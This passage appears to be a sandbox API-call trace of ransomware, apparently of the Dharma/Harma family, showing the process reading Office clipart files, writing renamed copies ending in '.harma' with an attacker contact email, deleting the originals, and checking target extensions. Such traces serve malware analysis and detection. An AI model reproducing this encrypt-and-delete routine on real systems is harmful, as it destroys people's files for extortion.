dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0166.388] GetLastError () returned 0x0 [0166.388] ReadFile (in: hFile=0x39c, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x7db8, lpOverlapped=0x0) returned 1 [0166.394] WriteFile (in: hFile=0x3ac, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x7dc0, lpOverlapped=0x0) returned 1 [0166.395] ReadFile (in: hFile=0x39c, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0166.395] WriteFile (in: hFile=0x3ac, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0166.395] SetEndOfFile (hFile=0x3ac) returned 1 [0166.395] CloseHandle (hObject=0x3ac) returned 1 [0166.395] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0166.396] SetEndOfFile (hFile=0x39c) returned 1 [0166.398] CloseHandle (hObject=0x39c) returned 1 [0166.398] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0166.399] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101860.bmp")) returned 1 [0166.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP") returned 63 [0166.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP") returned 63 [0166.400] lstrlenW (lpString=".doc") returned 4 [0166.400] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0166.400] lstrlenW (lpString=".docx") returned 5 [0166.400] lstrcmpiW (lpString1=".docx", lpString2="0.BMP") returned -1 [0166.400] lstrlenW (lpString=".pdf") returned 4 [0166.400] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0166.400] lstrlenW (lpString=".xls") returned 4 [0166.400] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0166.400] lstrlenW (lpString=".xlsx") returned 5 [0166.400] lstrcmpiW (lpString1=".xlsx", lpString2="0.BMP") returned -1 [0166.400] lstrlenW (lpString=".ppt") returned 4 [0166.400] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0166.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP") returned 63 [0166.400] lstrlenW (lpString=".zip") returned 4 [0166.400] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0166.400] lstrlenW (lpString=".rar") returned 4 [0166.400] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0166.401] lstrlenW (lpString=".bz2") returned 4 [0166.401] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0166.401] lstrlenW (lpString=".7z") returned 3 [0166.401] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0166.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP") returned 63 [0166.401] lstrlenW (lpString=".dbf") returned 4 [0166.401] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0166.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP") returned 63 [0166.401] lstrlenW (lpString=".1cd") returned 4 [0166.401] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0166.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP") returned 63 [0166.401] lstrlenW (lpString=".jpg") returned 4 [0166.401] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0166.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP") returned 63 [0166.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP") returned 63 [0166.401] lstrlenW (lpString=".doc") returned 4 [0166.401] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0166.401] lstrlenW (lpString=".docx") returned 5 [0166.401] lstrcmpiW (lpString1=".docx", lpString2="0.BMP") returned -1 [0166.401] lstrlenW (lpString=".pdf") returned 4 [0166.402] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0166.402] lstrlenW (lpString=".xls") returned 4 [0166.402] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0166.402] lstrlenW (lpString=".xlsx") returned 5 [0166.402] lstrcmpiW (lpString1=".xlsx", lpString2="0.BMP") returned -1 [0166.402] lstrlenW (lpString=".ppt") returned 4 [0166.402] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0166.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP") returned 63 [0166.402] lstrlenW (lpString=".zip") returned 4 [0166.402] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0166.402] lstrlenW (lpString=".rar") returned 4 [0166.402] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0166.402] lstrlenW (lpString=".bz2") returned 4 [0166.402] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0166.402] lstrlenW (lpString=".7z") returned 3 [0166.402] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0166.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP") returned 63 [0166.402] lstrlenW (lpString=".dbf") returned 4 [0166.402] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0166.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP") returned 63 [0166.402] lstrlenW (lpString=".1cd") returned 4 [0166.402] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0166.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP") returned 63 [0166.403] lstrlenW (lpString=".jpg") returned 4 [0166.403] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0166.403] lstrcmpiW (lpString1=".BMP", lpString2=".harma") returned -1 [0166.403] lstrlenW (lpString="J0101861.BMP") returned 12 [0166.403] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101861.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0166.405] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=32184) returned 1 [0166.405] CloseHandle (hObject=0x39c) returned 1 [0166.405] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101861.bmp")) returned 0x20 [0166.405] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101861.bmp.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0166.406] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101861.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0166.406] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0166.406] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0166.406] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101861.bmp.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0166.407] GetLastError () returned 0x0 [0166.407] ReadFile (in: hFile=0x39c, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x7db8, lpOverlapped=0x0) returned 1 [0166.409] WriteFile (in: hFile=0x3ac, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x7dc0, lpOverlapped=0x0) returned 1 [0166.411] ReadFile (in: hFile=0x39c, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0166.411] WriteFile (in: hFile=0x3ac, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0166.411] SetEndOfFile (hFile=0x3ac) returned 1 [0166.411] CloseHandle (hObject=0x3ac) returned 1 [0166.411] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0166.411] SetEndOfFile (hFile=0x39c) returned 1 [0166.417] CloseHandle (hObject=0x39c) returned 1 [0166.417] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0166.418] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101861.bmp")) returned 1 [0166.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP") returned 63 [0166.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP") returned 63 [0166.419] lstrlenW (lpString=".doc") returned 4 [0166.419] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0166.419] lstrlenW (lpString=".docx") returned 5 [0166.420] lstrcmpiW (lpString1=".docx", lpString2="1.BMP") returned -1 [0166.420] lstrlenW (lpString=".pdf") returned 4 [0166.420] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0166.420] lstrlenW (lpString=".xls") returned 4 [0166.420] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0166.420] lstrlenW (lpString=".xlsx") returned 5 [0166.420] lstrcmpiW (lpString1=".xlsx", lpString2="1.BMP") returned -1 [0166.420] lstrlenW (lpString=".ppt") returned 4 [0166.420] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0166.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP") returned 63 [0166.420] lstrlenW (lpString=".zip") returned 4 [0166.420] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0166.420] lstrlenW (lpString=".rar") returned 4 [0166.420] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0166.420] lstrlenW (lpString=".bz2") returned 4 [0166.420] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0166.420] lstrlenW (lpString=".7z") returned 3 [0166.420] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0166.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP") returned 63 [0166.420] lstrlenW (lpString=".dbf") returned 4 [0166.420] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0166.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP") returned 63 [0166.420] lstrlenW (lpString=".1cd") returned 4 [0166.420] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0166.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP") returned 63 [0166.421] lstrlenW (lpString=".jpg") returned 4 [0166.421] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0166.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP") returned 63 [0166.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP") returned 63 [0166.421] lstrlenW (lpString=".doc") returned 4 [0166.421] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0166.421] lstrlenW (lpString=".docx") returned 5 [0166.421] lstrcmpiW (lpString1=".docx", lpString2="1.BMP") returned -1 [0166.421] lstrlenW (lpString=".pdf") returned 4 [0166.421] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0166.421] lstrlenW (lpString=".xls") returned 4 [0166.421] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0166.421] lstrlenW (lpString=".xlsx") returned 5 [0166.421] lstrcmpiW (lpString1=".xlsx", lpString2="1.BMP") returned -1 [0166.421] lstrlenW (lpString=".ppt") returned 4 [0166.421] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0166.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP") returned 63 [0166.421] lstrlenW (lpString=".zip") returned 4 [0166.421] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0166.421] lstrlenW (lpString=".rar") returned 4 [0166.421] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0166.422] lstrlenW (lpString=".bz2") returned 4 [0166.422] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0166.422] lstrlenW (lpString=".7z") returned 3 [0166.422] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0166.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP") returned 63 [0166.422] lstrlenW (lpString=".dbf") returned 4 [0166.422] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0166.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP") returned 63 [0166.422] lstrlenW (lpString=".1cd") returned 4 [0166.422] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0166.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP") returned 63 [0166.422] lstrlenW (lpString=".jpg") returned 4 [0166.422] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0166.422] lstrcmpiW (lpString1=".BMP", lpString2=".harma") returned -1 [0166.422] lstrlenW (lpString="J0101862.BMP") returned 12 [0166.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101862.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0166.423] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=32184) returned 1 [0166.500] CloseHandle (hObject=0x39c) returned 1 [0166.500] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101862.bmp")) returned 0x20 [0166.569] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101862.bmp.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0166.570] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101862.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0166.574] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0166.574] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0166.574] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101862.bmp.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0166.575] GetLastError () returned 0x0 [0166.575] ReadFile (in: hFile=0x378, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x7db8, lpOverlapped=0x0) returned 1 [0166.577] WriteFile (in: hFile=0x218, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x7dc0, lpOverlapped=0x0) returned 1 [0166.580] ReadFile (in: hFile=0x378, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0166.580] WriteFile (in: hFile=0x218, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0166.581] SetEndOfFile (hFile=0x218) returned 1 [0166.581] CloseHandle (hObject=0x218) returned 1 [0166.581] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0166.581] SetEndOfFile (hFile=0x378) returned 1 [0166.583] CloseHandle (hObject=0x378) returned 1 [0166.583] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0166.584] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101862.bmp")) returned 1 [0166.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP") returned 63 [0166.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP") returned 63 [0166.585] lstrlenW (lpString=".doc") returned 4 [0166.585] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0166.585] lstrlenW (lpString=".docx") returned 5 [0166.585] lstrcmpiW (lpString1=".docx", lpString2="2.BMP") returned -1 [0166.585] lstrlenW (lpString=".pdf") returned 4 [0166.585] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0166.585] lstrlenW (lpString=".xls") returned 4 [0166.585] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0166.585] lstrlenW (lpString=".xlsx") returned 5 [0166.585] lstrcmpiW (lpString1=".xlsx", lpString2="2.BMP") returned -1 [0166.585] lstrlenW (lpString=".ppt") returned 4 [0166.585] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0166.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP") returned 63 [0166.585] lstrlenW (lpString=".zip") returned 4 [0166.585] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0166.585] lstrlenW (lpString=".rar") returned 4 [0166.585] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0166.585] lstrlenW (lpString=".bz2") returned 4 [0166.585] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0166.585] lstrlenW (lpString=".7z") returned 3 [0166.585] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0166.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP") returned 63 [0166.585] lstrlenW (lpString=".dbf") returned 4 [0166.585] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0166.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP") returned 63 [0166.585] lstrlenW (lpString=".1cd") returned 4 [0166.585] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0166.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP") returned 63 [0166.585] lstrlenW (lpString=".jpg") returned 4 [0166.586] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0166.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP") returned 63 [0166.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP") returned 63 [0166.586] lstrlenW (lpString=".doc") returned 4 [0166.586] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0166.586] lstrlenW (lpString=".docx") returned 5 [0166.586] lstrcmpiW (lpString1=".docx", lpString2="2.BMP") returned -1 [0166.586] lstrlenW (lpString=".pdf") returned 4 [0166.586] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0166.586] lstrlenW (lpString=".xls") returned 4 [0166.586] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0166.586] lstrlenW (lpString=".xlsx") returned 5 [0166.586] lstrcmpiW (lpString1=".xlsx", lpString2="2.BMP") returned -1 [0166.586] lstrlenW (lpString=".ppt") returned 4 [0166.586] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0166.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP") returned 63 [0166.586] lstrlenW (lpString=".zip") returned 4 [0166.586] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0166.586] lstrlenW (lpString=".rar") returned 4 [0166.586] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0166.586] lstrlenW (lpString=".bz2") returned 4 [0166.586] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0166.586] lstrlenW (lpString=".7z") returned 3 [0166.586] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0166.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP") returned 63 [0166.586] lstrlenW (lpString=".dbf") returned 4 [0166.586] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0166.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP") returned 63 [0166.586] lstrlenW (lpString=".1cd") returned 4 [0166.586] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0166.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP") returned 63 [0166.586] lstrlenW (lpString=".jpg") returned 4 [0166.587] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0166.587] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0166.587] lstrlenW (lpString="J0101980.WMF") returned 12 [0166.587] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101980.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0166.588] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=16104) returned 1 [0166.588] CloseHandle (hObject=0x378) returned 1 [0166.588] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101980.wmf")) returned 0x20 [0166.589] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101980.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0166.589] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101980.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0166.589] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0166.589] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0166.589] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101980.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0166.590] GetLastError () returned 0x0 [0166.590] ReadFile (in: hFile=0x378, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x3ee8, lpOverlapped=0x0) returned 1 [0166.592] WriteFile (in: hFile=0x218, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0x3ef0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x3ef0, lpOverlapped=0x0) returned 1 [0166.594] ReadFile (in: hFile=0x378, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, 